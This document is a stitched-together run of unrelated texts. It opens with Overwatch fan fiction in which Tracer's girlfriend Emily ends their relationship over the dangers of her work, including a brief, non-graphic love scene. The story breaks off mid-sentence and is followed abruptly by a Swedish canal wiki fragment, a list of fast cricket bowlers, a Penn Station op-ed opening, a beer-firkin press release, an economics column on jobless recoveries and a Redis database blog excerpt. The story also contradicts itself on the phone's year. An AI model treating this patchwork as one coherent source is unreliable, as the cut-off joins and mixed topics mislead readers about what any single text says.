Angela nodded as she wiped off residual blood from Tracer's now healed leg. "These situations pop up without warning. Maybe you should get a pocket charger."
"Maybe I should get a new phone. This model is so 2069," Lena said with a frown as she pushed the screen ON button a couple of times before the poor thing lit up. Yep, the battery was almost dead but not before she saw the alert that she had one message. "Aw bugger," she muttered.
Praying it wouldn't die before she could read it, she swiped her finger across the touch screen and the message popped up.
Please tell me you are alright.
Lena felt the pull of dread and sadness. Emily must have seen the news. Lena hadn't had time to contact her and now the woman must be worried sick trying to find her. She hadn't had a spare moment to call Emily to let her know something had come up. When a counter-attack mission came up, they usually came with little or no warning. Winston had just received the alert from Athena and assembled the team as the gang had broken into the facility. Time was of the essence.
So sorry, Love, Emergency came u-
That's as far as she got before her phone beeped three rapid rings in succession and turned dark.
"Aw, damn it!" Lena groaned aloud causing the rest of the team to jump at the sudden outburst. "That's it," Lena continued her tirade as she shoved the phone into her jacket and checked herself over for anything she had forgotten or any hurts that still needed tending. "I'm going to get a pocket charger and a new phone next chance I get to go out."
"What was it?" Pharah asked as Mercy applied antiseptic to a couple of cuts on the Egyptian's cheek.
"It was a message from Emily," Lena sighed checking the charges on her coronal accelerator. Since she had rested while Mercy was tending to her, the device had recharged enough to where it was almost full capacity. Lena wished her cellphone was that reliable and wondered if Winston could make some tweaks to it like he had the accelerator. "She must be worried sick and the bleeding phone croaked before I could reply back to her."
Reinhardt grunted. "Having a civilian sweetheart can be a tough thing," his normally rough voice said with an unusual soothing tone. "They know you put yourself in danger every day and sometimes, it gets them worried."
"Yes, and now I have to – no, I need to – get to her so she knows I'm alive and in one piece," Lena said.
"Go to her then," Mercy said patting Fareeha's cheek making her blush at the tender affection. Angela and Fareeha weren't in a romantic relationship, but the two women had a bond that Lena always admired. Like sisters only closer.
"We'll report to Winston," Pharah added. "He knows Emily and will understand. Being a civilian, she doesn't have access to all our activities. Leaving her in the dark is necessary but frustrating to her I'm sure."
Lena nodded. "Are you sure we are one hundred percent finished here?"
"Go on," Reinhardt shooed her away with a chuckle and a wink, "Go home and give that beautiful redhead a kiss on the cheek for me."
"You got it," Lena smiled. "Later, loves!"
She ran and zipped with her accelerator as fast as she could, covering distances over rooftops and through alleys until, at last, a familiar front door greeted her.
That sense of dread filled her once more as she noticed the flat was dark. Lena came in quickly and was about to call out for Emily when she saw her. The poor girl was curled up on the sofa clutching her cell phone in her hand. Her brow was creased with worry and exhaustion. Lena sat down gently next to her and brushed the hair from her cheek. Streaks from long shed tears stained her smooth skin and Lena felt her own tears well up as she kissed that cheek. Emily jolted and fearfully let her eyes adjust to Lena's face.
"Hey, baby," Lena murmured softly trying to disarm her girlfriend's anxiety with a lopsided smile. "I'm so sorry. I didn't have time to..."
The words rushed out in puff of air as Emily pulled Tracer into her arms and hugged her tight. She didn't even care about the coronal accelerator in the way or how it uncomfortably pressed into their chests. She held Lena close and started crying softly. Lena wrapped her arms around the redhead and soothed her as best she could without words. She felt her shoulders tremble and the tears wetting her cheek.
"I'm so sorry, Love," Lena whispered. "Really, it happened so fast and I didn't have time to contact you. I really need a new phone."
"That phone is so 2079," Emily said quietly and the women chuckled, still in each other's arms.
"Right?"
"Come on," Emily said. "Let's get you to bed. Now that you're home, I can hold you and sleep peacefully."
"We both can," Lena said as she shed her jacket and unstrapped the accelerator.
"So what happened?" Emily asked sitting on the bed while Lena undressed. "Or is it, like, classified?"
"No no," Lena said waving off concerns. "Some blokes with bloody Halloween makeup and stolen military weapons decided to take out their hate on an Omnics facility. Low key, mostly harmless, bollocks."
"It didn't look that harmless on the news," Emily said quietly. She remembered the fear not knowing if Lena was hurt or dead because of that fire. She watched as Lena pulled off her jeans. They had a new rip on the side and what looked like blood dried on the jagged tear. That made Emily worry even more. Lena hadn't had time to even change into her usual Tracer uniform before rushing off to handle some thugs with guns and bombs. She wasn't even wearing her goggles or body armor pieces.
"Oh, Winston assembled a small team and called us to the location," Lena replied not noticing the tone of Emily's voice. "Reinhardt, Mercy, and Pharah happened to be in the area."
"Oh," Emily said. "Lucky that your mates were nearby. I wonder what would have happened if they hadn't been."
Lena noticed her tone that time and turned to the woman. "Oh, Love. You know I wouldn't go in alone if it were something I couldn't handle. You know me better than that. I may be a bit reckless at times, but I'm not stupid."
"I know you aren't," Emily sighed and held out her arms. Lena closed the gap and kissed her tenderly.
The kiss deepened before Emily pulled back slightly. "I'm so glad you're home," she whispered. "I get so worried about you."
"I know you do, baby," Lena said affectionately.
Their kiss continued and soon any feelings of exhaustion were forgotten as heat built between them. The two lovers crawled into the bed slowly while lips explored and clothing was peeled off.
Emily made love to Lena, taking the time to feel her and taste her. She was alive, whole, warm, and here and Emily wanted to hold on to that feeling for as long as she could. Her worry and fears melted as Lena's mouth worked her magic on various, tender parts of her body in return.
They lay in each others arms afterwards and Emily listened as Lena fell asleep in her arms. As she felt her warm body close to hers, breathing steadily, peaceful and blissful, Emily's thoughts returned to where they had quieted from earlier. She was in her arms, in their bed, safe and sound. For now, she was here. But how long until, one day, she wouldn't be. When would she zoom off to some rescue or whatever and not come back? Would Overwatch even be allowed to let Emily know Lena was gone? They were underground and had to keep secret. They weren't even supposed to exist.
Then something else came to mind. Overwatch had enemies. Tracer had enemies. One in particular that always troubled Emily. Lena didn't know much about Widowmaker, but what she did know or find out, she had shared with Emily. Lena was drawn to her. She felt sorry for her because Widowmaker wasn't an assassin by choice, she had said. She was once the wife of a very influential Overwatch member and was kidnapped and brainwashed into a cold blooded killer. Lena had a soft spot for the woman because of the terrible things that had been forced on her.
She was also completely crushed after what happened in King's Row and Emily had felt a little jealous at the reaction and hurt Lena had felt. Lena would never cheat on her, she knew this for sure, but she also knew Lena's heart. Widowmaker had broken Lena's heart and they weren't even lovers. Emily wasn't a naive little girl. She saw something in Tracer when she talked about Widowmaker that was more than rivalry or opposition. Emily had never actually met Widowmaker – a fact she was more than happy about – but wondered if the woman was truly as evil and dangerous as rumored or if she was really a victim as Lena seemed to secretly perceive.
Emily had always been wary while out and about for fear that, one day, one of Tracer's enemies would try to grab her and force her to do things like Widowmaker had been reprogrammed to do against her will. What if Tracer had managed to really do more than annoy the notorious woman and Emily became a target. It made sense. That's what Talon did. When they couldn't get to Gérard Lacroix they got his beautiful, innocent wife.
One of Tracer's enemies could easily try to use Emily to get to her. Either that, or kill her outright. The thought made Emily cold and she snuggled up to Lena. Tears fell from her eyes once again. She didn't know what to do. She knew that Lena being Tracer was a necessity for the good of all, but it also put her and the ones she loved in danger. Emily wasn't a soldier. She knew some martial arts for regular self-defense but against someone like a genetic engineered assassin with a sniper rifle, somehow knowing how to throw someone over your shoulder effectively seemed woefully inadequate.
She kissed Lena's cheek softly and felt tears run down her face as Lena murmured some sweet nothing in her sleep at the touch.
I can't do this anymore, Emily thought as the tears fell. She has so many to protect that I am only holding her back. She has a whole world to help without one silly woman to worry about.
With that, Emily snuggled closer to Lena and cried herself to sleep.
2
Lena and Emily's flat, London, England
The next morning, Lena woke to find the bed empty. She stretched and padded to the water closet. After doing her morning business, brushing her teeth, and attempting to brush her unruly spiky hair, Lena threw on a pair of warm, comfortable yoga pants and a T shirt before walking into the living room. Emily was sitting on the sofa holding a cup of coffee.
Lena was about to say good morning, but paused. Emily wasn't actually drinking the cup of coffee. She looked as if she were lost in thought and sad. There were bags under her eyes and it looked as if she had been crying. Quietly, Lena approached her girlfriend. It wasn't until she gently sat down next to her and slipped her arm around her shoulders that Emily finally realized Lena was there.
"Oh," She said startled. She sat down her coffee mug and smiled before kissing Lena quickly on the lips. "Good morning," she said.
Lena knew Emily was trying to smile but it didn't reach her eyes. Something was bothering her deeply. She cupped Emily's face and ran her thumbs gently over the woman's pale cheeks.
"Emmy," she said softly, "what's the matter, Love? Have you been crying?"
Emily started to deny it and keep the happy smile on her face, but then her eyes, welled up and she started sobbing. Lena gasped at the sudden ferocity of her lover's sadness and threw her arms around the poor woman.
"I don't know what to do," Emily cried. "I'm so scared and I don't know what to do. I … I just can't do it anymore, Lena."
Lena stroked her hair and tried to soothe her. "Can't do what anymore, Love?" she asked. "What's going on?"
"I love you so much but I can't do it anymore," Emily sobbed.
Lena was confused and started to really worry. Emily could do nothing but cry. "Oh, Emmy," Lena said quietly, holding her love close, "whatever is wrong you can tell me. I'm here for you."
Lena waited until Emily stopped crying and regain her composure. After wiping away the remnants of her tears, Emily took a deep breath.
"This is very hard for me, alright?" she started. "I have been going over this in my head most of last night and all this morning. Please let me get this all out before you say anything."
Dread coiled in Lena's stomach and she pulled her feet up under her on the sofa. She knew what was going to be said. She didn't want to believe it and held her breath as she waited for the words she knew and feared were coming.
"I love you, Lena. I love you with all my heart," Emily said looking away and gathering up her courage. "But I don't think we should be together anymore."
Lena was stunned. She closed her eyes as the words echoed in her mind and she felt her heart breaking. The tears slipped down her cheeks but she was determined not to cry out loud. It obviously had taken all the courage Emily had to muster to have this talk with her and she wouldn't be selfish. There had to be a logical explanation for this and crying would only prolong the inevitable.
"Why?" Lena asked softly. "What did I do?"
"I don't know how to really explain it," Emily replied.
"Is it the coronal accelerator?" Lena asked. "I know it's can be a pain in the arse and I know it sucks for me to have to wear it or keep it close to me within ten meters. If it's too much of a handicap, I can have Winston get with Mercy and see if we can make some nanomachines with the technology or something. I'm sorry I'm not a normal girl and I have to have a machine to -"
"Oh my God, Lena, no," Emily turned to her with a pained, shocked expression on her face. "Are you taking the piss?! Do you really think I would be so shallow as to break up with you because of that?!"
Lena was so dismayed she sputtered, all thoughts of tears forgotten. "Then why?" she asked.
Emily took a deep breath and put her face in her palms. She rocked back and forth for a moment before looking up again. "I guess its Overwatch," she finally replied quietly.
Lena sat for a moment, letting that settle. "Oh Emily," she said. "You aren't thinking that I'm cheating on you with one of the girls do you?"
"Ugh" Emily said, standing up from the sofa. "No! Damn it, I don't think that." She paced a few steps while running her hand through her hair.
"Emmy," Lena said. "I know this is hard for you, it's hard for me right now to hear, but obviously this is something serious if you are breaking up with me. Just spill it. If I'm doing something that is pushing you to this, just let me know. Out with it."
Emily sat back down and took Lena's hands in hers. Her eyes were welling up again. "I can't take you being an Overwatch agent anymore, Lena. Just … just hear me out on this, alright?"
Lena nodded and Emily took a deep breath. She looked around the room, thinking of the words to say.
"Overwatch is pretty much a vigilante group of ex-soldiers," Emily said looking Lena in the eyes. "That means, you do all sorts of dodgy, dangerous things and you aren't even supposed to be doing them. That means you have no support or back up and if something goes tits up, you can get killed or imprisoned for just trying to save the world from another Omnic Crisis or some terrorist twit organization murdering people or blowing up the bloody planet. You are often called to emergencies and missions that are not only completely nutters at times, but illegal no matter how many lives are saved or evil schemes are thwarted. Meanwhile, I am here, at our home, cooking dinner, teaching my ballet classes, doing my online stocks, and, most of all, here alone just hoping and praying you are going to make it back home in one piece or at all. I have sat up many nights, waiting for you, crying and worrying my guts out."
Emily cupped Lena's cheek. "I just can't take it anymore," she said sadly. "You are out saving a world that rejects your efforts and making the woman, who loves you more than anything in this ungrateful world, sick with anxiety over where you are and if you are even still breathing."
"I'll quit then," Lena said with a determined look. The tears she had been holding back flooded down her cheeks and she started going hysterical which she had promised herself she wouldn't do. "The world can piss off! You're right, it doesn't give a damn about me, but you do! You're all that matters to me, Emmy!"
Emily only shook her head. "You and I both know you can't do that."
"Yes, I can!" Lena said. It was her turn to stand up and pace. Her tears and sadness morphed into bitterness. "I bloody well can! I mean, look what I've already been through. I got buggered in a failed experiment that messed up my molecules so I have to wear a stupid machine on my chest just to exist on the same plane of existence with everyone else! I can barely do normal things because of that. Everyone knows who I am but I'm not allowed to be Tracer because of some stupid legislature, made by some corrupt politicians, what made Overwatch, the one group of competent people, illegal after we risked everything to save their ungrateful arses from being demolished by advanced, mind controlled, robots that they helped create!"
Emily said nothing and Lena was practically panting with pent-up frustration. She gasped slightly as Lena fell to her knees in front of her and pulled her into her arms.
"I'll do it," Lena sobbed. "I'll do it for you, Emily."
"Oh, Lena," Emily said softly as she bent down and kissed Lena's head. "It's not just me worrying about your safety. You haven't even considered my safety."
Lena looked up and met Emily's eyes. "What do you mean?"
"What would you do if I got killed?" Emily sighed. "What if you came home one day and, say, Widowmaker, for instance, had killed me to get back at you for opposing her and that terrorist organization she got brainwashed into joining? What would you do?"
"I'd hunt that daft cow down," Lena said so fiercely that Emily blinked a few times in surprise.
"And if you hunted her down and killed her, would it bring me back?"
The fire fled from Lena's eyes and washed down her face in tears. "No," Lena said reluctantly.
"And speaking of Widowmaker," Emily added, "what if the same thing happened to me? Didn't you tell me she was once the wife of one of Overwatch's leaders before Talon kidnapped, tortured, and conditioned her into a sleeper agent to kill him?"
Emily knew that sparked something deep in Lena. Her lover closed her eyes and lay her head in Emily's lap.
"I'm not breaking up with you because I don't love |
.[1] The canal is called the "divorce ditch" because of the troubles that couples have to endure while trying to navigate the narrow canal and the many locks by themselves.
Locks [ edit ]
From the east-coast of Sweden to Lake Vänern the locks are as follows (with meters of height difference per lock):
Lake Vättern (88 m above sea level)
Lake Viken canal highest point
After Lake Vänern (44 m above sea level) Trollhätte kanal to Gothenburg and the west-coast of Sweden.
See also [ edit ]
Bibliography and references [ edit ]
Eric de Maré, Swedish Cross Cut, Sweden, 1965. (In English)Article courtesy of ICC Cricket World Cup
Fast bowling is both an art and a science. While there are some bowlers who rely on swing and movement, others use their accuracy to make runs hard to come by, sticking to immaculate lines and lengths.
Then there are those who instil fear in the batsmen with sheer, raw pace. From their cold stares to those jaw-breaking bouncers, these bowlers have sent shivers down the spines of batsmen the world over down the generations.
As the countdown reaches 150 days until the 2015 edition of the tournament, check out the ICC Cricket World Cup’s list of the 11 fastest bowlers to have made an appearance at the game's showpiece event.
Andy Roberts (West Indies)
Andy Roberts is one of the greatest fast bowlers to have ever played the game. He consistently blew away sides, showing no emotion on the field. With 26 wickets from 16 matches in ICC Cricket World Cups, he is the second highest wicket-taker for West Indies in the history of the tournament.
He represented West Indies in three tournaments and ended with an incredible average of 21.23. Even though he didn’t have a five-wicket haul to show, Roberts was a constant threat to batsmen.
Tournaments: 3 (1975, 1979, 1983) Matches: 16 Wickets: 26 Best bowling: 3-32
Jeff Thomson (Australia) Born in an era dominated by fast bowlers, Jeff Thomson ended his career with 200 Test and 55 One-Day International wickets. While his action earned him the nickname ‘Slingin’ Thommo’, his international debut didn’t prove to be fruitful. However, after coming back into the Australia squad two years later, he announced his arrival in the international arena with match figures of 9-105 against England. Thomson then made sure no batsman ever had it easy facing him over the next decade. Thomson represented Australia in two ICC Cricket World Cups. However, he wasn’t able to weave his magic around the batsman and ended with just seven wickets from eight matches at an average of 41.42.
Tournaments: 2 (1975, 1983) Matches: 8 Wickets: 7 Best bowling: 3-51
Joel Garner (West Indies)
In an era when West Indies boasted one of the most feared bowling attacks the sport has ever seen, none were scarier than Joel Garner. Standing at 6 feet 8 inches, Garner's 146 wickets from 98 ODIs came at a stunning average of 18.84 and an equally impressive economy rate of 3.09.
While he didn't play in as many matches in the ICC Cricket World Cup as some of his contemporaries, Garner still made a big impact in the tournament. With eight wickets from four matches in the 1979 edition, Garner finished as the joint leading wicket-taker for West Indies, along with Michael Holding and Colin Croft, including a match-winning 5-38 in the final against England that guided his team to its second ICC Cricket World Cup title.
Tournaments: 2 (1979, 1983) Matches: 8 Wickets: 13 Best bowling: 5-38
Allan Donald (South Africa)
Allan Donald of South Africa was one of those bowlers who had the ability to swing the ball at great pace. Nicknamed 'White Lightning', Donald played in four tournaments – 1992, 1996, 1999 and 2003. As one of the greatest fast-bowlers of all time, Donald will also be remembered for his durability, making his ODI debut in 1991 before bowing out at the ICC Cricket World Cup 2003 in South Africa.
Tournaments: 4 (1992, 1996, 1999, 2003) Matches: 25 Wickets: 38 Best bowling: 4-17
Waqar Younis (Pakistan)
Waqar Younis played 87 Tests and 262 ODIs during his international cricket career between 1989 and 2003. He earned the reputation of being one of the most devastating fast bowlers of all time. He is regarded as one of the best exponents of reverse swing, and used it to great effect throughout his career during which he bagged 416 ODI wickets. He was just as dangerous at the ICC Cricket World Cup, where he picked up 22 wickets from just 13 matches.
Tournaments: 3 (1996, 1999, 2003) Matches: 13 Wickets: 22 Best bowling: 4-26
Shoaib Akhtar (Pakistan)
Shoaib Akhtar is one of three bowlers to have broken the 160 kph barrier in the history of the game, with a delivery recorded at 161.3 kph during the ICC Cricket World Cup 2003 against England. This remains the fastest recorded ball to date.
After he impressed in the 1999 edition, Akhtar performed poorly in the 2003 tournament and was dropped. He was then selected in Pakistan's 15-man squad to play the World Cup in 2011, his last hurrah in international cricket.
Tournaments: 3 (1999, 2003, 2011) Matches played: 19 Wickets: 30 Best bowling: 4-46
Brett Lee (Australia)
With Shane Warne withdrawn by Australia just before the start of the ICC Cricket World Cup 2003, Brett Lee formed one of the most lethal attacks of the tournament alongside Glenn McGrath and Andy Bichel. He ended the event with 22 wickets at an average of 17.90 and grabbed a hat-trick in the process.
Lee crossed the 160 kph mark twice. His delivery in his first over against England in the group stage touched 160.7 kph, and while bowling to Marvan Atapattu in the semi-final against Sri Lanka he reached 160.1 kph.
Tournaments: 1 (2003) Matches: 10 Wickets: 22 Best bowling: 5-42
Shane Bond (New Zealand)
With a rhythmic run-up, smooth action and an effortless follow through, Shane Bond terrorised batsmen with his pace and swing for close to nine years. Despite a career plagued by injuries, Bond is the third highest wicket-taker for New Zealand in ICC Cricket World Cups, with only Jacob Oram and Chris Harris ahead of him.
Bond created havoc in New Zealand’s match against Australia and ended with figures of 6 for 23 in Port Elizabeth in 2003. He also played a crucial role in helping New Zealand reach the semi-final of the ICC Cricket World Cup in 2007, picking up 13 wickets from eight matches at an average of 16.38.
Tournaments: 2 (2003, 2007) Matches: 16 Wickets: 30 Best bowling: 6-23
Shaun Tait (Australia)
With Brett Lee ruled out of the ICC Cricket World Cup 2007, Shaun Tait assumed the role of the spearhead. He finished the tournament as the second leading wicket-taker, along with Muthiah Muralidaran, with 23 wickets at an average of 20.30.
Tait rejoined the ODI squad for the 2011 edition of the tournament. He played in seven games and picked up 11 wickets before Australia lost to India in the quarter-finals. Following that defeat, Tait retired from ODI cricket.
In 2011, he also bowled a 160.7 kph delivery against Pakistan in a one-off T20I, the fastest ball ever bowled on Australian soil, and the third-fastest ever recorded, behind only Shoaib Akhtar and Brett Lee.
Tournaments: 2 (2007, 2011) Matches: 18 Wickets: 34 Best bowling: 4-39
Mitchell Johnson (Australia)
Mitchell Johnson, who was named the International Cricket Council's Cricketer of the Year in 2009, is one of the fastest modern-day pacers who regularly clocks over 150 kph.
Johnson, 32, made his ODI debut against New Zealand in December 2005, and represented Australia in the ICC Cricket World Cup 2011 where he picked up 10 wickets from seven matches.
Johnson’s explosive performance against England in the most recent Ashes has made him one of the most feared bowlers in world cricket and one to watch at the ICC Cricket World Cup 2015.
Tournaments: 1 (2011) Matches: 7 Wickets: 10 Best bowling: 4-19
Dale Steyn (South Africa)
With 135 wickets from 87 ODI matches at an average of 25.62 and an economy rate of 4.82, Dale Steyn is one of the modern-day greats.
In his only appearance at the ICC Cricket World Cup – in the 2011 edition – Steyn snaffled 12 wickets from six matches at 16, including a best of 5-50 off 9.4 overs against India. India was on its way to a massive total but Steyn stepped in to scuttle the innings, helping South Africa inflict India’s only defeat on its way to the title.
Tournaments: 1 (2011) Matches: 8 Wickets: 13 Best bowling: 5-38New York is at a crossroads. After half a century a fleeting opportunity has finally arrived to address the disaster of Penn Station, the nation’s busiest and most appalling transit hub, and to reimagine a new West Side for Midtown Manhattan that could be a center for development and innovation.
For decades public officials and countless city skeptics have insisted nothing can be done. Penn Station is a black hole of politics, they say. The owners of Madison Square Garden, which squats on top of the station preventing real improvement, would never budge, especially not with the millions of dollars in tax breaks they’ve been getting or the nearly $1 billion they have poured into the aging arena.
But there are precedents for achieving the impossible.
The Kings Cross area of London, where the St. Pancras and Kings Cross railway stations converge, was a crime-ridden nexus of seemingly intractable poverty, filth and despair going back generations. But through a creative mix of public and private investments — in which the refurbishments of the stations themselves were vital — the area has changed beyond recognition. The two stations have been become major attractions for locals and tourists who don’t even use the trains: they dine and shop there. New housing and an arts university have moved nearby. Google has chosen to locate its European headquarters at Kings Cross because of the stations (which include the London terminus of the Channel tunnel service to the Continent). What had been a drag on the London economy has become a boon to local property values and a Europe-wide emblem of innovation.Just got the following press release about Christian Moerlein’s upcoming Super Firkin Saturday that I wanted to share with you. It also prompted the idea that some folks may not know what a firkin is so we’ll be diving into that after the awesome beer list for this event!
Christian Moerlein Brewing Co. is putting on a big party before the Big Game promoting innovation, experimentation and all things local craft beer. For our first-ever Super Firkin Saturday, we’ll have almost two-dozen firkins with unique and specialty beers to serve at the Moerlein Malt House taproom. The event will be held Saturday, Feb. 6, from 2 p.m. to 6 p.m. at the taproom in Over-the-Rhine. There is also a charity aspect. A portion of the proceeds from taproom sales will go to the Patrick Wolterman Roger Bacon Scholarship Fund.
Super Firkin Saturday Beer List
Christian Moerlein Brewing Co. — Dry-hopped Big Piney IPA; Winter IPA with blood orange; Crimea River Russian Imperial Stout with Coffee; Crimea River Russian Imperial Stout with Boysenberry
MadTree Brewing Co. – Hunnid Quad with dark fruit; Stütze Belgian Blonde with pink peppercorn
Fat Heads Brewing Co. – Double dry-hopped Headhunter IPA
Land Grant Brewing – Greenskeeper Session IPA with white oak & lemon peel; Goon Strong Pale Ale with spruce pine tips
Warped Wing Brewing Co. – Baltic Argonaut with vanilla bean
Listermann Brewing Co. – 562 Lateral Oatmeal Sweet Stout with Raspberry & Chocolate
Dayton Beer Co.- Oregon Alley IPA dry-hopped with Jarrylo hops
Taft’s Ale House – Belgian Blonde Ale dry-hopped with Hull Melon hops
Blank Slate Brewing Co. – Bonbonerie Opera Cream Stout with cocao nibs
Cellar Dweller – Hopewell’s Milk Stout with hazelnut & coffee
Mt. Carmel Brewing Co. – Nut Brown Ale with vanilla & cocao nibs
Ei8ht Ball Brewing – Prodigal Pale Ale dry-hopped with Chinook hops
Fifty West Brewing Co. – Dry-hopped Punch You in the EyePA; Dead End Oatmeal Stout
Great Lakes Brewing Co. – Rum spiced Eliot Ness
West Sixth Brewing Co. – Key Lime IPA; Creamsicle IPA
What’s a firkin?
Simply put a firkin is a one-quarter barrel of beer or about 10 gallons. They look
pretty similar to this Hoff-Stevens keg. The main difference is that a firkin lacks the Sanke keg connection (those two hoses on top of the keg) and instead uses a spile to control the outflow of beer. Both Hoff-Stevens kegs and firkins allow you to easily add ingredients which is how there are so many special and awesome beers at this event.
Also, at Super Firkin Saturday will be a few pins of beers. Pins are the same as firkins, just half the size so about 5 gallons of beer. Which is to say that you should show up early and try the beers you want before the firkins and pins run dry!Jobless recoveries and the disappearance of routine occupations
Henry Siu, Nir Jaimovich
The US economy is recovering. But what explains the stubborn malaise in its labour market? This column argues that future recovery from recession will likely be jobless because technological advances and mechanisation now enable troubled firms to shed middle-income jobs in favour of machines and automation. If these jobs are not recouped during subsequent economic recovery, future recoveries may well remain jobless.
Economic recoveries aren’t what they used to be. Since the end of the Great Recession in June 2009:
US real GDP per capita grew by 3.6%,
but per capita employment fell by 1.8% over and above the 5.5% that was lost during the recession.
This malaise in the US labour market has been the subject of countless economic policy debates and may be the decisive factor in the upcoming US election. The fact that employment is recovering much slower than GDP is a relatively new phenomenon; jobless recoveries have only really occurred after the recessions of 1991 and 2001. These last three recoveries represent a distinct break from previous postwar episodes of recession when both GDP and employment would vigorously rebound following recessions (Schreft and Singh 2003; Groshen and Potter 2003; Bernanke 2009).
Our current research indicates that a jobless recovery is not simply an ‘economy-wide‘ delay in firms hiring again. Instead, it can be traced to a lack of recovery in a subset of occupations; those that focus on “routine” or repetitive tasks that are increasingly being performed by machines (Jaimovich and Siu 2012).
Job polarisation
The fact that employment in routine occupations has been disappearing is well documented by recent job polarisation literature (Acemoglu 1999, Autor et al. 2006, Goos and Manning 2007, Goos et al. 2009, Autor and Dorn 2012). This literature finds that occupations focused on routine tasks tend to be middle-waged. Thus, the disappearance of routine occupations in the past 30 years represents a ‘polarisation’ of employment because the middle of the wage distribution has been hollowed out.
As recently as the mid-1980s, about one in three Americans over the age of 16 was employed in a routine occupation. Currently, that figure stands at one in four. The fact that polarisation is occurring should not surprise anyone who understands the influence of robotics and automation on machinists and machine operators in manufacturing. Indeed, the influence of robotics is increasingly being felt on routine occupations in transportation and warehousing. Of equal importance is the disappearance of routine employment in ‘white-collar’ occupations - think bank tellers being replaced by ATMs, or secretarial work being replaced by personal computers and Siri, Apple’s iPhone-integrated ‘intelligent personal assistant’. Thus, all of the per capita employment growth of the past 30 years has either been in ‘non-routine’ occupations located at the high-end of the wage distribution, such as software engineers and economists, or in low-paying jobs, such as service occupations like restaurant waiters and janitors. For this last set of occupations, this has been especially true in the past decade.
Jobless recoveries
What is surprising is the link between job polarisation and the business cycle. Figure 1 highlights our simple point; it plots per capita employment in routine occupations (in log levels) from 1967 to the end of 2011. Since about 1990, there is an obvious 28 log point decline in routine employment. What is equally clear is that this fall has not happened gradually over time but that the decline is concentrated in economic downturns. 92% of the 28 log point fall occurred within a 12 month window of NBER-dated recessions.
Figure 1
Following each of the 1991, 2001, and 2009 recessions, per capita employment in routine occupations fell and never recovered. This lack of recovery in routine employment accounts for the jobless recoveries experienced in the aggregate. Indeed, prior to job polarisation, routine job losses in recessions were accompanied by strong routine job recoveries. This is evidenced in Figure 1 after the recessions of 1970, 1975, and 1982. Unsurprisingly, prior to job polarisation, jobless recoveries did not occur. Moreover, jobless recoveries cannot be traced to the business cycle behaviour of ‘non-routine’ jobs: employment in these occupations experience only mild contractions, if at all, during recessions, and have experienced essentially no change in the nature of their recoveries over the past half century.
Explaining jobless recovery
A simple counterfactual experiment clarifies the link between job polarisation and jobless recoveries. Specifically, we ask what the recoveries in aggregate employment would have looked like if routine employment had rebounded as it did prior to job polarisation. Would the US economy still have experienced jobless recoveries? For the 1991, 2001, and 2009 recessions, we replace the per capita employment in routine occupations (following the trough) with the average recoveries following the 1970, 1975, and 1982 recessions. We then sum up the actual employment in non-routine occupations with the counterfactual employment in routine occupations to obtain a counterfactual aggregate employment series.
The behaviour of these counterfactual series around the recent NBER recessions is displayed in Figures 2a to 2c. The solid blue line indicates the time path of actual per capita employment. Date 0 indicates the month in which the NBER officially declared the end of the recession. As is clear, aggregate employment continued to fall for many months following the end of each recession. Note that the hatched red line represents the counterfactual series. Had employment in routine occupations recovered as it did prior to job polarisation, the US economy would not have experienced jobless recoveries. Hence, we argue that jobless recoveries can be attributed to the lack of recovery in routine jobs.
Figure 2
Concusions
Structural change in the labour market is clearly manifesting itself in the business cycle. The long-term decline in routine occupations is occurring in spurts - employment in these jobs is lost during recessions. The reach of job polarisation is wide. Automation and the adoption of computing technology is leading to the decline of middle-wage jobs of many stripes, both blue-collar jobs in production and maintenance occupations and white-collar jobs in office and administrative support. It is affecting both male- and female-dominated professions and it is happening broadly across industries –manufacturing, wholesale and retail trade, financial services, and even public administration.
The loss of routine jobs in recent recessions has given rise to jobless recoveries. Aggregate employment struggles to rebound following recessions since middle-wage, routine occupations no longer recover. Moreover, employment growth following recent recessions has been unevenly distributed across pay, concentrated in high- and low-wage occupations. A recent report by the National Employment Law Project (2012) indicates that the recovery from the Great Recession has been particularly lopsided, with the majority of jobs added being low-paying jobs.
The pace of job polarisation was greatly accelerated in this last recession, and the pace of automation and progress in robotics and computing technology is not slowing down either (Brynjolfsson and McAfee 2011). If the past 30 years is any guide, we should expect future recessions to continue to spur job polarisation. Jobless recoveries may be the new norm.
References
Acemoglu, D (1999), “Changes in unemployment and wage inequality: An alternative theory and some evidence”, American Economic Review, 89(5), 1259–1278.
Autor, D H and D Dorn (2012), “The growth of low skill service jobs and the polarization of the U.S. labor market”, American Economic Review, forthcoming.
Autor, D H, L F Katz, and M S Kearney (2006), “The polarization of the U.S. labor market”, American Economic Review: Papers & Proceedings, 96(2), 189–194.
Bernanke, B S (2009), “On the outlook for the economy and policy”, Speech at the Economic Club of New York, 16 November.
Brynjolfsson, E and A McAfee (2011), Race Against The Machine: How the Digital Revolution is Accelerating Innovation, Driving Productivity, and Irreversibly Transforming Employment and the Economy, e-book, Digital Frontier Press.
Goos, M and A Manning (2007), “Lousy and lovely jobs: The rising polarization of work in Britain”, Review of Economics and Statistics, 89(1), 118–133.
Goos, M, A Manning, and A Salomons (2009), “Job polarization in Europe”, American Economic Review: Papers & Proceedings, 99(2), 58–63.
Groshen, E L and S Potter (2003), “Has structural change contributed to a jobless recovery?“, Current Issues in Economics and Finance, Federal Reserve Bank of New York, 9(8), 1–7.
Jaimovich, N and H E Siu (2012), “The trend is the cycle: job polarization and jobless recoveries”. NBER Working Paper, 18334.
National Employment Law Project (2012), “The low-wage recovery and growing inequality”, Data Brief, August.
Schreft, S L and A Singh (2003), “A closer look at jobless recoveries”, Economic Review, Federal Reserve Bank of Kansas City, Second Quarter, 45–72.In a blog post in 2015, Storing Data with Redis, I wrote about your options for partitioning data stored within Redis and came down pretty hard on using key namespacing via redis-namespace. The redis-namespace gem allows you to share a Redis database among several applications by prefixing every key with a namespace but it's a terrible hack that no one should use. Redis already has a native solution if you want to share a Redis instance: databases. The default database is 0. Here's how to point Sidekiq to use database 1 instead:
Sidekiq. configure_client do | config | # these are equivalent config. redis = { url : "redis://localhost:6379/1" } config. redis = { db : 1 } end
By default, Redis offers 16 databases: 0-15. This is configurable in redis.conf. Keys in one database are not visible from another database. All databases will share global data like registered Lua scripts. In practice that's not a big deal due to Redis's excellent implementation.
If you have multiple apps and want to share a Redis instance, just have them use different databases. Create a convention for how your apps map to database indexes and stick with it.
Cache data, job data and transactional/persistent data have different configuration needs and should not share a Redis instance at all. If you use Redis for caching and jobs and your budget is >$0, you should have two different Redis instances with different configurations. Job data is closer to transactional data, they can probably share the same Redis if necessary.
"Our current application uses redis-namespace. How do we migrate away from namespace usage without losing everything we have currently?"
